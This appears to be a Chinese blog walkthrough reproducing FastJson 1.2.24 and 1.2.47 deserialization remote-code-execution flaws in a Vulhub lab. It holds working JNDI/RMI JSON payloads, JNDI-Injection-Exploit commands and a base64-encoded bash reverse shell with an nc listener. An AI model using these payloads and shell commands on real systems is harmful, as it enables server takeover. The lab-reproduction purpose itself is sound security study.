• fastjson(反序列化)漏洞复现


    fastjson

    1. 漏洞描述

    ​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。

    ​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

    2. fastjson_1.2.24反序列化导致任意命令执行漏洞

    Vulhub - Docker-Compose file for vulnerability environment

    2.1 环境搭建

    image-20230908104527316

    使用bp自带浏览器打开fastjson页面,并进行抓包发送重发器

    image-20230908105405641

    image-20230908105423482

    将数据包转换为POST方式,并将类型转换为json格式

    image-20230908110126952

    这里就是提交一个JSON格式的数据转换为对象,然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。

    2.2 漏洞检测

    使用burp扩展FastjsonScan进行漏洞检测

    image-20230908111841714

    来到虚拟机,新建文件夹

    image-20230908112059141

    下载完成后在bp中安装插件

    image-20230908112242018

    点击add后选择Java语言

    image-20230908112441961

    选择扩展文件

    image-20230908112920053

    点击next—>点击close然后FastjsonScan

    image-20230908113117378

    回到重发器,右击数据包点击扩展

    image-20230908113554864

    点击扩展后进行扫描,显示是否有漏洞并且给出漏洞的POC

    image-20230908113842212

    image-20230908114052582

    {
    "handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://qjdu7ihzkpjrge30gi0bm7vh58byzn.oastify.com/aaa","autoCommit":true
    }
    }
    
    • 1
    • 2
    • 3
    • 4

    将POC复制到POST数据包中的文件内容

    image-20230908114442842

    POC中有RMI,什么是RMI

    RMI(Remote Method Invocation),Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中,也可以运行在网铬上的不同计算机中。
    在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收经过序列化编码的对象后会进行反序列化,因此,可以将RMI服务作为进行反序列化利用链的触发点。

    可以将RMI理解为http协议,Java可以通过类似于http协议的RMI协议远程外部加载类

    那么在这个地方有反序列化的话,去远程加载一个类或一个资源,这个位置做反序列化的话相当于做了一个反序列化的注入或对象注入。

    image-20230908120212528

    2.3 构造RMI服务器

    将工具下载到虚拟机中

    proxychains git clone https://github.com/welk1n/JNDI-Injectio
    
    • 1

    image-20230908144939363

    image-20230908145002135

    编译生成target目录

    mvn clean package -DskipTests
    
    • 1

    image-20230908151051253

    在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/xu" -A "192.168.16.176"
    
    • 1

    image-20230908151652432

    rmi://192.168.16.176:1099/ooy0mt
    
    • 1

    2.4 构造反弹shell脚本

    bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
    将上述代码进行base64编码
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
    
    • 1
    • 2
    • 3
    • 4

    image-20230908160616130

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1

    将上述的代码在target目录下使用工具生成不同版本下的rmi和ldap

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"
    
    • 1

    开启监听窗口

    nc -lnvp 1234
    
    • 1

    image-20230908162640698

    3. fastjson_1.2.47

    3.1 环境搭建

    image-20230908162954902

    3.2 漏洞检测

    使用bp抓包,发送重发器

    image-20230908163614218

    将数据提交方式改为POST请求,使用bp工具扫描漏洞

    image-20230908163937009

    {
        "axin":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "is":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa",
            "autoCommit":true
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    3.3 构造RMI服务器

    在target目录下使用工具生成不同版本下的rmi和ldap,测试不同版本下的rmi和ldap

    image-20230908164751845

    rmi://192.168.16.176:1099/v42n2k
    
    • 1

    image-20230908165415507

    3.4 构造反弹shell

    bash -i >& /dev/tcp/192.168.16.176/1234 0>&1
    将上述代码进行base64编码
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=
    
    • 1
    • 2
    • 3
    • 4
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
    
    • 1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjE3Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.176"
    
    • 1

    image-20230908165147576

    打开监听窗口

    nc -lnvp 1234
    
    • 1

    image-20230908165338092

  • 相关阅读:
    Vue全家桶 Vue-router的详细介绍
    MySQL用户密码重设,保姆式教程!
    【python学习】-列表的使用(添加/移除元素、寻找指定元素索引、列表复制等)
    家居行业如何实现智能化?快解析来助力
    两数之和-leetcode
    有一说一,外包公司到底值不值得去?
    EXPLAIN命令使用及功能介绍
    PyTorch语音识别的理论基础——MFCC
    Day32——二叉树专题
    【2 线性表】顺序表中负值排在前面。
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/132799683